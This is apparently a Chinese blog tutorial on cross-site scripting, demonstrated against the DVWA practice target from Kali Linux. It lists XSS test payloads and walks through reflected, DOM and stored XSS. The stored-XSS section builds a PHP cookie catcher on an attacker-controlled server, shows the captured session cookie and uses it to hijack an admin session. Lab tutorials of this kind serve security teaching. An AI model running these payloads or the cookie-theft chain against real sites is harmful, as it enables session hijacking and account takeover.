基于DVWA+KALI安全测试工具平台演示XSS注入的案例

发布时间 2023-10-22 22:08:53作者: Test挖掘者

一、XSS注入定义

跨站脚本攻击英文全称为(Cross site Script)缩写为CSS,为了与CSS样式区分,所以叫做XSS

XSS攻击也叫跨站脚本攻击,通常是利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码带网页,用户访问这些带有恶意指令的网页时,就会被劫持,从而让恶意攻击者获取用户的更高权限,达到劫持会话、繁殖蠕虫等目的。

二、XSS攻击原理

三、XSS注入分类

  • 反射型XSS:又称为非持久型XSS,攻击者需要通过一些方法引诱用户点击包含XSS攻击代码的恶意链接,用户点击恶意链接后自动执行其包含的代码,实现XSS攻击,通常发生在搜索框,登录框等用户输入内容的地方;
  • 存储型XSS:攻击者将攻击脚本直接上传到用户访问的服务器,使所有用户在访问该网站时,会自动执行攻击脚本,危害性大,通常发生在 留言板,评论区等用户输入内容的地方;
  • DOM型XSS:DOM型XSS也是一种反射型XSS攻击,但是形式原理特殊,所以需要单独分类(修改DOM树的动作);

四、XSS工具常见的Case

(1)<script>alert('XSS')</script>                      //简单弹框
(2)<ScRiPt>AlErt('XSS')</ScRiPt>                      //过滤了大小
(3)<img src="#" onerror=alert("XSS")>                 //img 标签 进行绕过
(4)javascript:alert('xss')                            //使用 Javascript 的尾协议
(5)' onclick=' alert("xss")                          //利用 href 属性值来进行xss
(6)<script>document.write('<p>张三</p>');</script> // JavaScript修改 DOM树

五、案例演示

本次演示使用DVWA工具和KALI黑客平台,配置安装参考: DVWA靶场环境搭建+Phpstudy配置kali linux安装配置与终端访问指导

1、反射型XSS演示

1-1、打开DVWA平台,我们把 DVWA Security  安全级别调整为LOW后,点击 Submit

1-2、选择XSS反射型案例,点击XSS (Reflected) ( Vulnerability: Reflected Cross Site Scripting (XSS) )

 1-3、XSS反射型页面,在输入框中我们输入JavaScript脚本,验证是否存在反射型输入

1)<script>alert('XSS')</script>                      //简单弹框2)<script>alert(document.cookie);</script>           // 弹出当前登录的cookie信息

 注意链接,存在script注入信息:http://localhost:6123/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E#

2、DOM型XSS演示

同样需要调整DVWA Security  安全级别调整为LOW后,点击 Submit

2-1、选择DOM反射型案例,点击XSS (DOM) ( Vulnerability: DOM Based Cross Site Scripting (XSS))

 2-2、地址中,http://localhost:6123/vulnerabilities/xss_d/?default=English,我们注入XSS代码,default=<script>document.write('<p>张三</p>');</script> ,执行后查看下拉选项中是否新增张三的枚举值,如果新增则说明存在XSS注入风险;

 3、存储型XSS注入演示

窃取用户的cookie信息并且保存到数据库中;

 3-1、启动kali黑客服务器的应用Apache服务器

切换root权限,启动Apache

 http://192.168.124.128/ 打开,显示Apache2 Debian Default Page

 进入 cd  /var/www/html 目录

新增 vi my.php 文件,输入如下命令:

<?php
$cookie=$_GET['cookie']; file_put_contents('cookie.txt',$cookie);
?>
代码解读:我们获取cookie的值赋值给$cookie,然后$cookie变量把值存在到cookie.txt 中
 赋予 my.php 的数据组权限为 www-data,为啥取这个权限呢,是由于Apache进程是用这个www-data的数据组权限的
# chown www-data:www-data my.php
 新增 cookie.txt 文件 ,且赋予文件的所属组权限为  www-data
┌──(root㉿kali)-[/var/www/html]
└─# touch cookie.txt

┌──(root㉿kali)-[/var/www/html]
└─# chown www-data:www-data cookie.txt

最后再重启下Apache

┌──(root㉿kali)-[/var/www/html]
└─# service apache2 restart

 3-2、登录DVWA平台,点击XSS (Stored)  (Vulnerability: Stored Cross Site Scripting (XSS) )

 打开BurpSuite工具,抓取/vulnerabilities/xss_s提交注册接口后,提交XSS在线的URLencode编码的信息,点击Send,查看数据库插入XSS获取Cookie的代码;

URL编码转换链接:http://www.urlencode.com.cn/ 

 拦截放行数据:

http://localhost:6123/vulnerabilities/xss_s/ 进入 存储型XSS页面

 查看数据库

再次复制链接:http://localhost:6123/vulnerabilities/xss_s/ 进入 存储型XSS页面,会执行XSS代码,把Cookie存储到kali服务器的Cookie.txt中;

执行会直接跳转到 http://192.168.124.128/my.php?cookie=PHPSESSID=l49mtbhea2ibp87b4h011b0ht0;%20security=low

 我们再进入kali服务中,查看Cookie是否写入到Cookie.txt 中

 获取到admin权限的token,此时我们使用smithy角色登录,再拦截篡改Cookie,这样就相当于smithy有admin权限的功能了

http://192.168.31.195:6123/login.php

拦截登录接口

(前提需要清理smithy登录前的cookie信息)

 

 

 现在登录信息为admin信息